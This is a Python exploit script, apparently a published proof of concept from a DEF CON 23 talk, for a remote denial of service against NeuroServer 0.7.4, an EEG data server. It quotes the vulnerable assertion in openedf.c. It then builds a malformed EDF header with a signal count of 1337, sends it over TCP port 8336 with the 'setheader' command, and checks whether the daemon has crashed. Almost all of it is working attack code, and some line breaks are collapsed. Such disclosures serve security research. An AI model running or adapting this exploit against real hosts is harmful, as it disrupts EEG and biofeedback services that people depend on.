#!/usr/bin/env python## NeuroServer 0.7.4 Remote DoS## Shown at DEF CON 23 (BioHacking Village)# Brain Waves Surfing - (In)Security in EEG (Electroencephalography) Technologies# Slides: http://goo.gl/44r1HH## NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver# http://openeeg.sourceforge.net/doc/sw/NeuroServer/## Neuroserver mediates between the raw EEG devices and all the various EEG # applications that the user may wish to run to analyse the incoming EEG data. # Data is transmitted using TCP/IP, which means that the EEG data can just as # easily pass over a network (or even the internet) as stay on the same machine. # Standard EDF is used for header information and for file storage. # The server is designed to run on Windows and Linux.# #------------------------------------------------------------------------------## nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at# ~/NeuroServer-0.7.4/src/openedf.c:# ...# assert(isValidREDF(result));# ...# int isValidREDF(const struct EDFDecodedConfig *cfg)# {# int i;# if (cfg->hdr.dataRecordSeconds != 1.0) {# setLastError("The data record must be exactly 1 second, not %f.",#cfg->hdr.dataRecordSeconds);# return 0;# }# if (cfg->hdr.dataRecordChannels < 1) {# setLastError("The data record must have at least one channel.");# return 0;# }# if (cfg->chan[0].sampleCount < 1) {# setLastError("Channel 0 must have at least one sample.");# return 0;# }# for (i = 1; i < cfg->hdr.dataRecordChannels; ++i) {# if (cfg->chan[i].sampleCount != cfg->chan[0].sampleCount) {# setLastError("Channel %d has %d samples, but channel 0 has %d.These must be the same.", cfg->chan[i].sampleCount, cfg->chan[0].sampleCount);# return 0;# }# }# return 1;# }#import socket
importtimeimport sys
# Malformed EDF header# Spec: http://www.edfplus.info/specs/edf.htmlEDF="0 "# Version
EDF +="Alejandro Hernandez "# Patient Identification
EDF +="NeuroSky MindWave "# Recording Identification
EDF +="07.04.1520.55.28768 EDF+C "# Startdate of Recording
EDF +="29"# Number of Data Records
EDF +="1 "# Duration of a Data Record in Seconds
EDF +="1337"# Number of Signals. This value triggers the DoS: assert(cfg->hdr.dataRecordChannels < MAXCHANNELS);
EDF +="Electrode EDF Annotations "# Labels and other data per channel
EDF +="-32768-132767 1 -32768-3276832767 32767 "# PhysiMin PhysiMax DigiMin DigiMaxif len(sys.argv)!=2:
print 'Usage: ' + __file__ + ' <NeuroServer IP>'
sys.exit(1)
print r'''
__,--"""""""""--,.
_ -\'"_\ ^-,_
,-" _/\_
,/\\
,'/_| \
/ _____,--""" / ) \
/ / / ( |
|//) |
| /NeuroServer 0.7.4 Remote DoS \
( (_/\) /\
\\_____,===="""/|
\/"/"" |
\__,-" |___,-'--------'"|
"`------"" --" ,-'/
/ ---"/
\___/__,-----,___ )
\ ,--'"============""""-'"
"-'" ||=================/
/___\===============/
/|=============/"\\_________,-"
||||'''
neuroserver =(sys.argv[1], 8336)
s = socket.socket()
print '|- Connecting to %s on port %s\n' % neuroserver
try:
s.connect(neuroserver)
except Exception, e:
print '|- Can\'t connect to %s:%d' % neuroserver
print '|- Exception: %s' % (e)
sys.exit(1)
print '|- Entering in EEG role. NeuroServers\' response:'
s.send('eeg\n') # EEG role in NeuroServer
print '----------------------------------------------'
print s.recv(16).strip('\n')
print '----------------------------------------------'
print '|- Sending Malformed EDF header (%d bytes):' % len(EDF)
print '----------------------------------------------'
print EDF
print '----------------------------------------------\n'
s.send('setheader ' + EDF + '\n')
time.sleep(4)
print '|- NeuroServer should be dead now. Connecting...\n'
try:
s = socket.socket()
s.connect(neuroserver)
except Exception, e:
print '|- NeuroServer is down !'
print '|- Exception: %s' % (e)
else:
print '|- NeuroServer is still alive :-\, try again...'
finally:
s.close()
sys.exit(0);